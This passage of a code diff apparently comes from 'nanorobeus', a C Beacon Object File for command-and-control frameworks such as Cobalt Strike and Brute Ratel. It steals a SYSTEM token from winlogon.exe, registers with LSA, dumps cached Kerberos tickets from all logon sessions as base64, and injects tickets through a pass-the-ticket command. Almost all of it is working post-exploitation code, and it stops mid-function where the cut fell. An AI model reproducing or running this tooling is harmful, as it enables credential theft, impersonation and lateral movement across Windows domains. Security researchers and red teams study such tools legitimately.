64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64};
int Base64decode_len(const char* bufcoded) {
int nbytesdecoded;
const unsigned char* bufin;
int nprbytes;
bufin = (const unsigned char*)bufcoded;
while (pr2six[*(bufin++)] <= 63)
;
nprbytes = (bufin - (const unsigned char*)bufcoded) - 1;
nbytesdecoded = ((nprbytes + 3) / 4) * 3;
return nbytesdecoded + 1;
}
int Base64decode(char* bufplain, const char* bufcoded) {
int nbytesdecoded;
const unsigned char* bufin;
unsigned char* bufout;
int nprbytes;
bufin = (const unsigned char*)bufcoded;
while (pr2six[*(bufin++)] <= 63)
;
nprbytes = (bufin - (const unsigned char*)bufcoded) - 1;
nbytesdecoded = ((nprbytes + 3) / 4) * 3;
bufout = (unsigned char*)bufplain;
bufin = (const unsigned char*)bufcoded;
while (nprbytes > 4) {
*(bufout++) = (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
*(bufout++) = (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
*(bufout++) = (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
bufin += 4;
nprbytes -= 4;
}
/* Note: (nprbytes == 1) would be an error, so just ingore that case */
if (nprbytes > 1) {
*(bufout++) = (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
}
if (nprbytes > 2) {
*(bufout++) = (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
}
if (nprbytes > 3) {
*(bufout++) = (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
}
*(bufout++) = '\0';
nbytesdecoded -= (4 - nprbytes) & 3;
return nbytesdecoded;
}
static const char basis_64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int Base64encode_len(int len) { return ((len + 2) / 3 * 4) + 1; }
int Base64encode(char* encoded, const char* string, int len) {
int i;
char* p;
p = encoded;
for (i = 0; i < len - 2; i += 3) {
*p++ = basis_64[(string[i] >> 2) & 0x3F];
*p++ = basis_64[((string[i] & 0x3) << 4) | ((int)(string[i + 1] & 0xF0) >> 4)];
*p++ = basis_64[((string[i + 1] & 0xF) << 2) | ((int)(string[i + 2] & 0xC0) >> 6)];
*p++ = basis_64[string[i + 2] & 0x3F];
}
if (i < len) {
*p++ = basis_64[(string[i] >> 2) & 0x3F];
if (i == (len - 1)) {
*p++ = basis_64[((string[i] & 0x3) << 4)];
*p++ = '=';
} else {
*p++ = basis_64[((string[i] & 0x3) << 4) | ((int)(string[i + 1] & 0xF0) >> 4)];
*p++ = basis_64[((string[i + 1] & 0xF) << 2)];
}
*p++ = '=';
}
*p++ = '\0';
return p - encoded;
}
+270
View File
@@ -0,0 +1,270 @@
#include "common.h"
HANDLE GetCurrentToken(DWORD DesiredAccess) {
HANDLE hCurrentToken = NULL;
if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), DesiredAccess, FALSE, &hCurrentToken)) {
if (hCurrentToken == NULL && KERNEL32$GetLastError() == ERROR_NO_TOKEN) {
if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), DesiredAccess, &hCurrentToken)) {
return NULL;
}
}
}
return hCurrentToken;
}
char* GetEncryptionTypeString(LONG encType) {
char* encTypeStr = NULL;
switch (encType) {
case DES_CBC_CRC:
encTypeStr = "DES_CBC_CRC";
break;
case DES_CBC_MD4:
encTypeStr = "DES_CBC_MD4";
break;
case DES_CBC_MD5:
encTypeStr = "DES_CBC_MD5";
break;
case DES3_CBC_MD5:
encTypeStr = "DES3_CBC_MD5";
break;
case DES3_CBC_SHA1:
encTypeStr = "DES3_CBC_SHA1";
break;
case DSAWITHSHA1_CMSOID:
encTypeStr = "DSAWITHSHA1_CMSOID";
break;
case MD5WITHRSAENCRYPTION_CMSOID:
encTypeStr = "MD5WITHRSAENCRYPTION_CMSOID";
break;
case SHA1WITHRSAENCRYPTION_CMSOID:
encTypeStr = "SHA1WITHRSAENCRYPTION_CMSOID";
break;
case RC2CBC_ENVOID:
encTypeStr = "RC2CBC_ENVOID";
break;
case RSAENCRYPTION_ENVOID:
encTypeStr = "RSAENCRYPTION_ENVOID";
break;
case RSAES_OAEP_ENV_OID:
encTypeStr = "RSAES_OAEP_ENV_OID";
break;
case DES3_CBC_SHA1_KD:
encTypeStr = "DES3_CBC_SHA1_KD";
break;
case AES128_CTS_HMAC_SHA1:
encTypeStr = "AES128_CTS_HMAC_SHA1";
break;
case AES256_CTS_HMAC_SHA1:
encTypeStr = "AES256_CTS_HMAC_SHA1";
break;
case RC4_HMAC:
encTypeStr = "RC4_HMAC";
break;
case RC4_HMAC_EXP:
encTypeStr = "RC4_HMAC_EXP";
break;
case SUBKEY_KEYMATERIAL:
encTypeStr = "SUBKEY_KEYMATERIAL";
break;
case OLD_EXP:
encTypeStr = "OLD_EXP";
break;
default:
encTypeStr = "<unknown>";
break;
}
return encTypeStr;
}
SYSTEMTIME ConvertToSystemtime(LARGE_INTEGER li) {
FILETIME ft;
SYSTEMTIME st_utc;
ft.dwHighDateTime = li.HighPart;
ft.dwLowDateTime = li.LowPart;
KERNEL32$FileTimeToSystemTime(&ft, &st_utc);
return st_utc;
}
BOOL IsHighIntegrity(HANDLE TokenHandle) {
TOKEN_ELEVATION elevation;
DWORD dwSize;
if (ADVAPI32$GetTokenInformation(TokenHandle, TokenElevation, &elevation, sizeof(elevation), &dwSize)) {
return elevation.TokenIsElevated;
}
return FALSE;
}
BOOL IsSystem(HANDLE TokenHandle) {
HANDLE hToken = NULL;
UCHAR bTokenUser[sizeof(TOKEN_USER) + 8 + 4 * SID_MAX_SUB_AUTHORITIES];
PTOKEN_USER pTokenUser = (PTOKEN_USER)bTokenUser;
ULONG cbTokenUser;
SID_IDENTIFIER_AUTHORITY siaNT = SECURITY_NT_AUTHORITY;
PSID pSystemSid;
BOOL bSystem;
if (!ADVAPI32$GetTokenInformation(hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser)) {
return FALSE;
}
if (!ADVAPI32$AllocateAndInitializeSid(&siaNT, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid))
return FALSE;
bSystem = ADVAPI32$EqualSid(pTokenUser->User.Sid, pSystemSid);
ADVAPI32$FreeSid(pSystemSid);
return bSystem;
}
NTSTATUS GetLsaHandle(HANDLE hToken, BOOL highIntegrity, HANDLE* hLsa) {
HANDLE hLsaLocal;
LSA_OPERATIONAL_MODE mode = 0;
NTSTATUS status = STATUS_SUCCESS;
if (!highIntegrity) {
status = SECUR32$LsaConnectUntrusted(&hLsaLocal);
if (!NT_SUCCESS(status)) {
status = ADVAPI32$LsaNtStatusToWinError(status);
}
} else {
// AuditPol.exe /set /subcategory:"Security System Extension"
// /success:enable /failure:enable Event ID 4611 Note: detect elevation via
// winlogon.exe.
char* name = "Winlogon";
STRING lsaString = (STRING){.Length = 8, .MaximumLength = 9, .Buffer = name};
SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode);
if (hLsaLocal == NULL) {
if (IsSystem(hToken)) {
status = SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode);
if (!NT_SUCCESS(status)) {
status = ADVAPI32$LsaNtStatusToWinError(status);
}
} else {
hToken = GetCurrentToken(TOKEN_ADJUST_PRIVILEGES);
if (hToken != NULL) {
if (ElevateToSystem()) {
status = SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode);
if (!NT_SUCCESS(status)) {
status = ADVAPI32$LsaNtStatusToWinError(status);
}
ADVAPI32$RevertToSelf();
} else {
status = KERNEL32$GetLastError();
}
KERNEL32$CloseHandle(hToken);
} else {
status = KERNEL32$GetLastError();
}
}
}
}
*hLsa = hLsaLocal;
return status;
}
int GetProcessIdByName(WCHAR* processName) {
HANDLE hProcessSnap;
PROCESSENTRY32W pe32;
int pid = -1;
hProcessSnap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
return pid;
}
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (!KERNEL32$Process32FirstW(hProcessSnap, &pe32)) {
KERNEL32$CloseHandle(hProcessSnap);
return pid;
}
do {
WCHAR* procName = pe32.szExeFile;
if (MSVCRT$wcscmp(procName, processName) == 0) {
pid = pe32.th32ProcessID;
break;
}
} while (KERNEL32$Process32NextW(hProcessSnap, &pe32));
KERNEL32$CloseHandle(hProcessSnap);
return pid;
}
BOOL ElevateToSystem() {
int pid = GetProcessIdByName(L"winlogon.exe");
if (pid == -1) {
return FALSE;
}
BOOL res = FALSE;
HANDLE hProcess = KERNEL32$OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (hProcess != NULL) {
HANDLE hDupToken;
HANDLE hToken;
if (ADVAPI32$OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken)) {
if (hToken != NULL) {
if (ADVAPI32$DuplicateToken(hToken, SecurityImpersonation, &hDupToken)) {
if (ADVAPI32$ImpersonateLoggedOnUser(hDupToken)) {
res = TRUE;
}
KERNEL32$CloseHandle(hDupToken);
}
KERNEL32$CloseHandle(hToken);
}
}
KERNEL32$CloseHandle(hProcess);
}
return res;
}
// BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL
// bEnablePrivilege)
// {
// TOKEN_PRIVILEGES tp;
// LUID luid;
// if (!ADVAPI32$LookupPrivilegeValueA(NULL, lpszPrivilege, &luid))
// {
// return FALSE;
// }
// tp.PrivilegeCount = 1;
// tp.Privileges[0].Luid = luid;
// if (bEnablePrivilege)
// {
// tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// }
// else
// {
// tp.Privileges[0].Attributes = 0;
// }
// if (!ADVAPI32$AdjustTokenPrivileges(hToken, FALSE, &tp,
// sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
// {
// return FALSE;
// }
// if (KERNEL32$GetLastError() == ERROR_NOT_ALL_ASSIGNED)
// {
// return FALSE;
// }
// return TRUE;
// }
char* GetNarrowStringFromUnicode(UNICODE_STRING src) {
int len = src.Length / sizeof(WCHAR);
char* dest = (char*)MSVCRT$calloc(len + 1, sizeof(char));
MSVCRT$wcstombs(dest, src.Buffer, len);
dest[len] = '\0';
return dest;
}
char* GetNarrowString(WCHAR* src) {
int len = MSVCRT$wcslen(src);
char* dest = (char*)MSVCRT$calloc(len + 1, sizeof(char));
MSVCRT$wcstombs(dest, src, len);
dest[len] = '\0';
return dest;
}
+221
View File
@@ -0,0 +1,221 @@
#include <windows.h>
#include <stdio.h>
#include "beacon.h"
#include "bofdefs.h"
#if defined(BOF) || defined(BRC4)
#include "common.c"
#include "luid.c"
#include "sessions.c"
#include "purge.c"
#include "klist.c"
#include "base64.c"
#include "ptt.c"
#else
#include "common.h"
#include "luid.h"
#include "sessions.h"
#include "purge.h"
#include "klist.h"
#include "base64.h"
#include "ptt.h"
#endif
void execute(WCHAR** dispatch, char* command, char* arg1, char* arg2, char* arg3, char* arg4);
#ifdef BOF
void go(char* args, int length) {
datap parser;
BeaconDataParse(&parser, args, length);
char* command = BeaconDataExtract(&parser, NULL);
if (command == NULL) {
command = "";
}
char* arg1 = BeaconDataExtract(&parser, NULL);
if (arg1 == NULL) {
arg1 = "";
}
char* arg2 = BeaconDataExtract(&parser, NULL);
if (arg2 == NULL) {
arg2 = "";
}
char* arg3 = BeaconDataExtract(&parser, NULL);
if (arg3 == NULL) {
arg3 = "";
}
char* arg4 = BeaconDataExtract(&parser, NULL);
if (arg4 == NULL) {
arg4 = "";
}
execute(NULL, command, arg1, arg2, arg3, arg4);
}
#elif BRC4
void coffee(char** argv, int argc, WCHAR** dispatch) {
char *command = "", *arg1 = "", *arg2 = "", *arg3 = "", *arg4 = "";
if (argc >= 1) {
command = argv[0];
}
if (argc >= 2) {
arg1 = argv[1];
}
if (argc >= 3) {
arg2 = argv[2];
}
if (argc >= 4) {
arg3 = argv[3];
}
if (argc >= 5) {
arg4 = argv[4];
}
execute(dispatch, command, arg1, arg2, arg3, arg4);
}
#else
int main(int argc, char* argv[]) {
char *command = "", *arg1 = "", *arg2 = "", *arg3 = "", *arg4 = "";
if (argc >= 2) {
command = argv[1];
}
if (argc >= 3) {
arg1 = argv[2];
}
if (argc >= 4) {
arg2 = argv[3];
}
if (argc >= 5) {
arg3 = argv[4];
}
if (argc >= 6) {
arg4 = argv[5];
}
execute(NULL, command, arg1, arg2, arg3, arg4);
return 0;
}
#endif
void execute(WCHAR** dispatch, char* command, char* arg1, char* arg2, char* arg3, char* arg4) {
if (MSVCRT$strcmp(command, "") == 0) {
PRINT(dispatch, "[!] Specify command.\n");
return;
}
LUID luid = (LUID){.HighPart = 0, .LowPart = 0};
BOOL currentLuid = FALSE;
HANDLE hToken = GetCurrentToken(TOKEN_QUERY);
if (hToken == NULL) {
PRINT(dispatch, "[!] Unable to query current token: %ld\n", KERNEL32$GetLastError());
return;
}
if (MSVCRT$strcmp(command, "luid") == 0) {
execute_luid(dispatch, hToken);
} else if ((MSVCRT$strcmp(command, "sessions") == 0) || (MSVCRT$strcmp(command, "klist") == 0) ||
(MSVCRT$strcmp(command, "dump") == 0)) {
if (MSVCRT$strcmp(arg1, "") != 0) {
if (MSVCRT$strcmp(arg1, "/luid") == 0) {
if (arg2 != NULL) {
luid.LowPart = MSVCRT$strtol(arg2, NULL, 16);
if (luid.LowPart == 0 || luid.LowPart == LONG_MAX || luid.LowPart == LONG_MIN) {
PRINT(dispatch, "[!] Specify valid /luid\n");
return;
}
} else {
PRINT(dispatch, "[!] Specify /luid argument\n");
return;
}
} else if (MSVCRT$strcmp(arg1, "/all") == 0) {
luid = (LUID){.HighPart = 0, .LowPart = 0};
} else {
PRINT(dispatch, "[!] Unknown command\n");
return;
}
} else {
LUID* cLuid = GetCurrentLUID(hToken);
if (cLuid == NULL) {
PRINT(dispatch, "[!] Unable to get current session LUID: %ld\n", KERNEL32$GetLastError());
return;
}
luid = *cLuid;
currentLuid = TRUE;
}
if (MSVCRT$strcmp(command, "sessions") == 0) {
execute_sessions(dispatch, hToken, luid, currentLuid);
} else if (MSVCRT$strcmp(command, "klist") == 0) {
execute_klist(dispatch, hToken, luid, currentLuid, FALSE);
} else {
execute_klist(dispatch, hToken, luid, currentLuid, TRUE);
}
} else if (MSVCRT$strcmp(command, "ptt") == 0) {
char* ticket;
if (MSVCRT$strcmp(arg1, "") != 0) {
ticket = arg1;
if (MSVCRT$strcmp(arg2, "") != 0) {
if (MSVCRT$strcmp(arg2, "/luid") == 0) {
if (MSVCRT$strcmp(arg3, "") != 0) {
luid.LowPart = MSVCRT$strtol(arg3, NULL, 16);
if (luid.LowPart == 0 || luid.LowPart == LONG_MAX || luid.LowPart == LONG_MIN) {
PRINT(dispatch, "[!] Specify valid /luid\n");
return;
}
}
}
} else {
LUID* cLuid = GetCurrentLUID(hToken);
if (cLuid == NULL) {
PRINT(dispatch, "[!] Unable to get current session LUID: %ld\n", KERNEL32$GetLastError());
return;
}
luid = *cLuid;
currentLuid = TRUE;
}
execute_ptt(dispatch, hToken, ticket, luid, currentLuid);
} else {
PRINT(dispatch, "[!] Specify Base64 encoded ticket\n");
return;
}
} else if (MSVCRT$strcmp(command, "purge") == 0) {
if (MSVCRT$strcmp(arg1, "") != 0) {
if (MSVCRT$strcmp(arg1, "/luid") == 0) {
if (MSVCRT$strcmp(arg2, "") != 0) {
luid.LowPart = MSVCRT$strtol(arg2, NULL, 16);
if (luid.LowPart == 0 || luid.LowPart == LONG_MAX || luid.LowPart == LONG_MIN) {
PRINT(dispatch, "[!] Specify valid /luid\n");
return;
}
} else {
PRINT(dispatch, "[!] Specify /luid argument\n");
return;
}
} else {
PRINT(dispatch, "[!] Unknown command\n");
return;
}
} else {
LUID* cLuid = GetCurrentLUID(hToken);
if (cLuid == NULL) {
PRINT(dispatch, "[!] Unable to get current session LUID: %ld\n", KERNEL32$GetLastError());
return;
}
luid = *cLuid;
currentLuid = TRUE;
}
execute_purge(dispatch, hToken, luid, currentLuid);
} else if (MSVCRT$strcmp(command, "help") == 0) {
PRINT(dispatch, "[*] nanorobeus 0.0.1\n[*] Command list:\n");
PRINT(dispatch, "\tluid\n");
PRINT(dispatch, "\tsessions [/luid <0x0> | /all]\n");
PRINT(dispatch, "\tklist [/luid <0x0> | /all]\n");
PRINT(dispatch, "\tdump [/luid <0x0> | /all]\n");
PRINT(dispatch, "\tptt <BASE64> [/luid <0x0>]\n");
PRINT(dispatch, "\tpurge [/luid <0x0>]\n");
} else {
PRINT(dispatch, "[!] Unknown command.\n");
}
KERNEL32$CloseHandle(hToken);
}
+213
View File
@@ -0,0 +1,213 @@
#include "klist.h"
void execute_klist(WCHAR** dispatch, HANDLE hToken, LUID luid, BOOL currentLuid, BOOL dump) {
BOOL highIntegrity = IsHighIntegrity(hToken);
if (!highIntegrity && !currentLuid) {
PRINT(dispatch, "[!] Not in high integrity.\n");
return;
}
HANDLE hLsa;
NTSTATUS status = GetLsaHandle(hToken, highIntegrity, &hLsa);
if (!NT_SUCCESS(status)) {
PRINT(dispatch, "[!] GetLsaHandle %ld\n", status);
return;
}
ULONG authPackage;
LSA_STRING krbAuth = {.Buffer = "kerberos", .Length = 8, .MaximumLength = 9};
status = SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage);
if (!NT_SUCCESS(status)) {
PRINT(dispatch, "[!] LsaLookupAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status));
SECUR32$LsaDeregisterLogonProcess(hLsa);
return;
}
LOGON_SESSION_DATA sessionData;
status = GetLogonSessionData(luid, &sessionData);
if (!NT_SUCCESS(status)) {
PRINT(dispatch, "[!] GetLogonSessionData: %ld", status);
SECUR32$LsaDeregisterLogonProcess(hLsa);
return;
}
KERB_QUERY_TKT_CACHE_REQUEST cacheRequest;
cacheRequest.MessageType = KerbQueryTicketCacheExMessage;
for (int i = 0; i < sessionData.sessionCount; i++) {
if (sessionData.sessionData[i] == NULL) {
continue;
}
PrintLogonSessionData(dispatch, (*sessionData.sessionData[i]));
PRINT(dispatch, "\n");
if (highIntegrity) {
cacheRequest.LogonId = sessionData.sessionData[i]->LogonId;
} else {
cacheRequest.LogonId = (LUID){.HighPart = 0, .LowPart = 0};
}
SECUR32$LsaFreeReturnBuffer(sessionData.sessionData[i]);
KERB_QUERY_TKT_CACHE_EX_RESPONSE* cacheResponse = NULL;
KERB_TICKET_CACHE_INFO_EX cacheInfo;
ULONG responseSize;
NTSTATUS protocolStatus;
status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, &cacheRequest, sizeof(cacheRequest),
&cacheResponse, &responseSize, &protocolStatus);
if (!NT_SUCCESS(status)) {
PRINT(dispatch, "[!] LsaCallAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status));
continue;
}
// check protocol status?
if (cacheResponse == NULL) {
continue;
}
int ticketCount = cacheResponse->CountOfTickets;
PRINT(dispatch, "[*] Cached tickets: (%d)\n\n", ticketCount);
if (ticketCount > 0) {
for (int j = 0; j < ticketCount; j++) {
cacheInfo = cacheResponse->Tickets[j];
PRINT(dispatch, "\t[%d]\n", j);
PrintTicketInfo(dispatch, cacheInfo);
if (dump) {
PRINT(dispatch, "\tTicket : ");
PUCHAR ticket;
ULONG ticketSize;
status = ExtractTicket(hLsa, authPackage, cacheRequest.LogonId, cacheInfo.ServerName, &ticket,
&ticketSize);
if (!NT_SUCCESS(status)) {
PRINT(dispatch, "[!] Could not extract the ticket: %ld\n", status);
} else {
if (ticketSize > 0) {
int len = Base64encode_len(ticketSize);
char* encoded = (char*)MSVCRT$calloc(len, sizeof(char*));
if (encoded == NULL) {
PRINT(dispatch, "[!] Base64 - could not allocate memory.\n");
continue;
}
Base64encode(encoded, ticket, ticketSize);
PRINT(dispatch, "%s\n\n", encoded);
MSVCRT$free(encoded);
MSVCRT$free(ticket);
}
}
}
PRINT(dispatch, "\n");
}
}
SECUR32$LsaFreeReturnBuffer(cacheResponse);
}
MSVCRT$free(sessionData.sessionData);
SECUR32$LsaDeregisterLogonProcess(hLsa);
}
NTSTATUS ExtractTicket(HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING targetName, PUCHAR* ticket,
PULONG ticketSize) {
KERB_RETRIEVE_TKT_REQUEST* retrieveRequest = NULL;
KERB_RETRIEVE_TKT_RESPONSE* retrieveResponse = NULL;
ULONG responseSize = sizeof(KERB_RETRIEVE_TKT_REQUEST) + targetName.MaximumLength;
retrieveRequest = (KERB_RETRIEVE_TKT_REQUEST*)MSVCRT$calloc(responseSize, sizeof(KERB_RETRIEVE_TKT_REQUEST));
if (retrieveRequest == NULL) {
return STATUS_MEMORY_NOT_ALLOCATED;
}
retrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage;
retrieveRequest->LogonId = luid;
retrieveRequest->TicketFlags = 0;
retrieveRequest->CacheOptions = KERB_RETRIEVE_TICKET_AS_KERB_CRED;
retrieveRequest->EncryptionType = 0;
retrieveRequest->TargetName = targetName;
retrieveRequest->TargetName.Buffer = (PWSTR)((PBYTE)retrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));
MSVCRT$memcpy(retrieveRequest->TargetName.Buffer, targetName.Buffer, targetName.MaximumLength);
NTSTATUS protocolStatus;
NTSTATUS status = STATUS_SUCCESS;
status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, retrieveRequest, responseSize, &retrieveResponse,
&responseSize, &protocolStatus);
if (NT_SUCCESS(status)) {
if (NT_SUCCESS(protocolStatus)) {
if (responseSize > 0) {
ULONG size = retrieveResponse->Ticket.EncodedTicketSize * sizeof(UCHAR);
PUCHAR returnTicket = (PUCHAR)MSVCRT$calloc(size, sizeof(UCHAR));
if (returnTicket != NULL) {
MSVCRT$memcpy(returnTicket, retrieveResponse->Ticket.EncodedTicket, size);
*ticket = returnTicket;
*ticketSize = size;
} else {
status = STATUS_MEMORY_NOT_ALLOCATED;
}
SECUR32$LsaFreeReturnBuffer(retrieveResponse);
}
} else {
status = ADVAPI32$LsaNtStatusToWinError(protocolStatus);
}
} else {
status = ADVAPI32$LsaNtStatusToWinError(status);
}
return status;
}
void PrintTicketFlags(WCHAR** dispatch, ULONG ticketFlags) {
if ((ticketFlags & KERB_TICKET_FLAGS_forwardable) == KERB_TICKET_FLAGS_forwardable) {
PRINT(dispatch, "forwardable");
}
if ((ticketFlags & KERB_TICKET_FLAGS_forwarded) == KERB_TICKET_FLAGS_forwarded) {
PRINT(dispatch, ", forwarded");
}
if ((ticketFlags & KERB_TICKET_FLAGS_proxiable) == KERB_TICKET_FLAGS_proxiable) {
PRINT(dispatch, ", proxiable");
}
if ((ticketFlags & KERB_TICKET_FLAGS_proxy) == KERB_TICKET_FLAGS_proxy) {
PRINT(dispatch, ", proxy");
}
if ((ticketFlags & KERB_TICKET_FLAGS_may_postdate) == KERB_TICKET_FLAGS_may_postdate) {
PRINT(dispatch, ", may_postdate");
}
if ((ticketFlags & KERB_TICKET_FLAGS_postdated) == KERB_TICKET_FLAGS_postdated) {
PRINT(dispatch, ", postdated");
}
if ((ticketFlags & KERB_TICKET_FLAGS_invalid) == KERB_TICKET_FLAGS_invalid) {
PRINT(dispatch, ", invalid");
}
if ((ticketFlags & KERB_TICKET_FLAGS_renewable) == KERB_TICKET_FLAGS_renewable) {
PRINT(dispatch, ", renewable");
}
if ((ticketFlags & KERB_TICKET_FLAGS_initial) == KERB_TICKET_FLAGS_initial) {
PRINT(dispatch, ", initial");
}
if ((ticketFlags & KERB_TICKET_FLAGS_pre_authent) == KERB_TICKET_FLAGS_pre_authent) {
PRINT(dispatch, ", pre_authent");
}
if ((ticketFlags & KERB_TICKET_FLAGS_hw_authent) == KERB_TICKET_FLAGS_hw_authent) {
PRINT(dispatch, ", hw_authent");
}
if ((ticketFlags & KERB_TICKET_FLAGS_ok_as_delegate) == KERB_TICKET_FLAGS_ok_as_delegate) {
#if (_WIN32_WINNT == 0x0501)
PRINT(dispatch, ", cname_in_pa_data");
#else
PRINT(dispatch, ", ok_as_delegate");
#endif
}
if ((ticketFlags & KERB_TICKET_FLAGS_name_canonicalize) == KERB_TICKET_FLAGS_name_canonicalize) {
PRINT(dispatch, ", name_canonicalize");
}
// if ((ticketFlags & KERB_TICKET_FLAGS_enc_pa_rep) ==
// KERB_TICKET_FLAGS_enc_pa_rep)
// {
// PRINT(dispatch, ", enc_pa_rep");
// }
PRINT(dispatch, " (0x%lx)\n", ticketFlags);
}
void PrintTicketInfo(WCHAR** dispatch, KERB_TICKET_CACHE_INFO_EX cacheInfo) {
PRINT(dispatch, "\tClient name : %s @ %s\n", GetNarrowStringFromUnicode(cacheInfo.ClientName),
GetNarrowStringFromUnicode(cacheInfo.ClientRealm));
PRINT(dispatch, "\tServer name : %s @ %s\n", GetNarrowStringFromUnicode(cacheInfo.ServerName),
GetNarrowStringFromUnicode(cacheInfo.ServerRealm));
SYSTEMTIME st_utc = ConvertToSystemtime(cacheInfo.StartTime);
PRINT(dispatch, "\tStart time : %d/%d/%d %d:%d:%d (UTC)\n", st_utc.wDay, st_utc.wMonth, st_utc.wYear,
st_utc.wHour, st_utc.wMinute, st_utc.wSecond);
st_utc = ConvertToSystemtime(cacheInfo.EndTime);
PRINT(dispatch, "\tEnd time : %d/%d/%d %d:%d:%d (UTC)\n", st_utc.wDay, st_utc.wMonth, st_utc.wYear,
st_utc.wHour, st_utc.wMinute, st_utc.wSecond);
st_utc = ConvertToSystemtime(cacheInfo.RenewTime);
PRINT(dispatch, "\tRenew time : %d/%d/%d %d:%d:%d (UTC)\n", st_utc.wDay, st_utc.wMonth, st_utc.wYear,
st_utc.wHour, st_utc.wMinute, st_utc.wSecond);
PRINT(dispatch, "\tFlags : ");
PrintTicketFlags(dispatch, cacheInfo.TicketFlags);
PRINT(dispatch, "\tEncryption type : %s\n", GetEncryptionTypeString(cacheInfo.EncryptionType));
}
+24
View File
@@ -0,0 +1,24 @@
#include "luid.h"
void execute_luid(WCHAR** dispatch, HANDLE hToken) {
LUID* currentLUID = GetCurrentLUID(hToken);
if (currentLUID == NULL) {
PRINT(dispatch, "[!] Unable to get current session LUID: %ld\n", KERNEL32$GetLastError());
return;
}
PRINT(dispatch, "[+] Current LogonId: %lx:0x%lx\n\n", currentLUID->HighPart, currentLUID->LowPart);
}
LUID* GetCurrentLUID(HANDLE TokenHandle) {
TOKEN_STATISTICS tokenStats;
DWORD tokenSize;
if (!ADVAPI32$GetTokenInformation(TokenHandle, TokenStatistics, &tokenStats, sizeof(tokenStats), &tokenSize)) {
return NULL;
}
LUID* luid = MSVCRT$calloc(1, sizeof(LUID));
luid->HighPart = tokenStats.AuthenticationId.HighPart;
luid->LowPart = tokenStats.AuthenticationId.LowPart;
return luid;
}
+72
View File
@@ -0,0 +1,72 @@
#include "ptt.h"
void execute_ptt(WCHAR** dispatch, HANDLE hToken, char* ticket, LUID luid, BOOL currentLuid) {
BOOL highIntegrity = IsHighIntegrity(hToken);
if (!highIntegrity && !currentLuid) {
PRINT(dispatch, "[!] Not in high integrity.\n");
return;
}
HANDLE hLsa;
if (currentLuid) {
highIntegrity = FALSE;
}
NTSTATUS status = GetLsaHandle(hToken, highIntegrity, &hLsa);
if (!NT_SUCCESS(status)) {
PRINT(dispatch, "[!] GetLsaHandle %ld\n", status);
return;
}
ULONG authPackage;
LSA_STRING krbAuth = {.Buffer = "kerberos", .Length = 8, .MaximumLength = 9};
status = SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage);
if (!NT_SUCCESS(status)) {
PRINT(dispatch, "[!] LsaLookupAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status));
SECUR32$LsaDeregisterLogonProcess(hLsa);
return;
}
int decoded_len = Base64decode_len(ticket);
char* decoded = (char*)MSVCRT$calloc(decoded_len, sizeof(char));
if (decoded == NULL) {
PRINT(dispatch, "[!] Base64 - could not allocate the memory.\n");
SECUR32$LsaDeregisterLogonProcess(hLsa);
return;
}
Base64decode(decoded, ticket);
KERB_SUBMIT_TKT_REQUEST* submitRequest = NULL;
int submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + decoded_len;
submitRequest = (KERB_SUBMIT_TKT_REQUEST*)MSVCRT$calloc(submitSize, sizeof(KERB_SUBMIT_TKT_REQUEST));
if (submitRequest == NULL) {
PRINT(dispatch, "[!] KERB_SUBMIT_TKT_REQUEST - could not allocate memory.\n");
SECUR32$LsaDeregisterLogonProcess(hLsa);
return;
}
submitRequest->MessageType = KerbSubmitTicketMessage;
submitRequest->KerbCredSize = decoded_len;
submitRequest->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);
if (highIntegrity) {
submitRequest->LogonId = luid;
}
MSVCRT$memcpy((PBYTE)submitRequest + submitRequest->KerbCredOffset, decoded, decoded_len);
MSVCRT$free(decoded);
NTSTATUS protocolStatus;
ULONG responseSize;
PVOID response;
status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, submitRequest, submitSize, &response,
&responseSize, &protocolStatus);
if (NT_SUCCESS(status)) {
if (NT_SUCCESS(protocolStatus)) {
PRINT(dispatch, "[+] Ticket successfully imported.\n");
} else {
status = ADVAPI32$LsaNtStatusToWinError(protocolStatus);
PRINT(dispatch, "[!] LsaCallAuthenticationPackage ProtocolStatus: %ld\n", status);
}
} else {
status = ADVAPI32$LsaNtStatusToWinError(status);
